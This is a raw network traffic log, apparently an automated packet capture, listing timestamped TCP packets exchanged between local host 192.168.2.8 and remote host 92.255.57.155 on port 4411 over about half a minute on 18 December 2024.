Dec 18, 2024 08:17:32.888073921 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:32.899698019 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.019201040 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.409218073 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.528794050 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.528862000 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.648637056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.674726963 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.794238091 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.794290066 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.842355013 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.913806915 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:33.913860083 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:33.985560894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.033334970 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.033387899 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.153350115 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.153482914 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.176810026 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.176861048 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.297450066 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.298070908 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.344357014 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.369267941 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.370054007 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.461993933 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.462122917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.487531900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.489530087 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.489622116 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.581576109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.610002041 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.660959005 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.661087036 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.772953033 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.780649900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.782107115 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:34.902833939 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.971946001 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:34.973565102 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:35.093055010 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.377948046 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:35.497539043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.497596979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:35.617501020 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.617563963 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:35.738018990 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.814048052 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.814970016 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:35.934743881 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:35.987227917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.004018068 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.094698906 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.107177019 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.107234001 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.126008987 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.252448082 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.273184061 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.274058104 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.298213959 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.393574953 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.393762112 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.489311934 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.513855934 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.516082048 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.584702969 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.635579109 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:36.635730028 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:36.755428076 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:38.675014973 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:38.794787884 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:38.794864893 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:38.914576054 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.420305967 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.421288967 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:39.541970015 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.580893993 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:39.613976002 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.701427937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.701495886 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:39.821866035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:39.821924925 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:39.941541910 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.022119045 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.022972107 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:40.142648935 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.174690008 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:40.294388056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.319555044 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.327332020 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:40.489726067 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.627224922 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:40.671099901 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:40.790575027 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:41.346930027 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:41.466644049 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:41.596617937 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:41.716351032 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:41.780411005 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:41.781321049 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:41.901144028 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.030026913 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.030867100 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:42.150579929 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.221935987 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:42.341778994 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.654781103 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.655668974 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:42.775352955 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:42.816005945 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:42.935563087 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:43.259093046 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:43.260221004 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:43.380161047 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.331104040 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.450634956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.450704098 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.570314884 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.612200022 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.731785059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.731854916 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.764249086 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.888005018 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.896894932 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:45.897011042 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:45.923230886 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.018229961 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.018326044 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.116234064 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.116316080 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.137944937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.138020039 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.207798004 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.207916975 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.235889912 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.235975981 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.257738113 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.327397108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.355577946 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.427165031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.430778027 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.518640995 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.525991917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.550301075 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.645708084 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.645853996 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.660408020 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.709757090 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.711018085 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.812808990 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.862469912 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.891854048 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.891938925 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:46.982045889 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:46.982239008 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:47.011806965 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.083075047 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.101917028 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.102140903 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:47.221755981 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.471718073 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:47.591694117 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.591773987 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:47.711414099 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.905592918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:47.906861067 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.026376009 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.112272978 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.140266895 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.231676102 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.231733084 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.351237059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.351347923 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.470899105 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.545135021 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.546132088 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.665910959 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.666116953 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.786005974 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.833926916 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:48.837986946 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:48.957607031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.024483919 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.028773069 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.148284912 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.148942947 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.149988890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.312733889 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.409074068 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.529481888 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.529572964 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.650058031 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.650119066 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.769663095 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.769745111 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.842292070 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.842365026 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.889324903 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:49.889401913 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:49.961961985 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.008928061 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.009041071 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.033437967 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.091159105 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.153354883 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.153495073 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.316735983 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.316894054 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.319789886 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.436593056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.436716080 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.464308977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.511018038 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.511137962 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.596817970 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.596929073 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.630726099 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.716600895 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.849596977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:50.853991032 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:50.974400997 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:51.580919981 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:51.700495958 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:51.700635910 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:51.820277929 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:51.831005096 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:51.950545073 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.014208078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.015176058 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.134845972 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.134946108 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.141799927 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.252475977 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.301014900 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.301080942 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.325979948 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.420521021 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.420644045 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.540448904 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.540569067 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.624952078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.660758972 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.660907030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.780456066 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.815526009 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.816086054 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.942012072 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:52.971915007 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:52.972286940 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:53.042473078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.046102047 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:53.132883072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.133992910 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:53.165880919 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.253575087 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.277221918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.279175043 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:53.444801092 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:53.445717096 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:53.612705946 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:54.206034899 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:54.325613976 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:54.639300108 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:54.641288996 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:54.760813951 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:54.815431118 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:54.935019016 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.192162991 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.248425961 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.311698914 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.311780930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.431340933 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.431397915 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.551193953 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.565407991 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.625013113 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.684916019 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.684995890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.804558992 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.804636955 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:55.913635015 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.924086094 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:55.924146891 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.043790102 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.043864965 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.104661942 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.163546085 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.163614988 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.234945059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.283036947 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.283097982 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.335799932 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.402568102 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.404695034 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.524228096 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.570069075 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.604705095 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.717128038 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.724267006 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:56.940027952 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:56.950325966 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:57.069953918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:57.565541029 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:57.685203075 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:57.753454924 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:57.873156071 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:57.998585939 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:57.999588013 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.119353056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.119420052 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.237202883 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.239537954 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.239592075 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.359149933 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.429825068 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.509059906 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.663863897 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.664835930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.784353971 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:58.816575050 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:58.936115980 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.116030931 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.235657930 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.260083914 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.262856007 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.424757004 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.535115004 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.549192905 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.620966911 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.654690981 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.654758930 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:17:59.774419069 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:17:59.774483919 CET	49708	4411	192.168.2.8	92.255.57.155
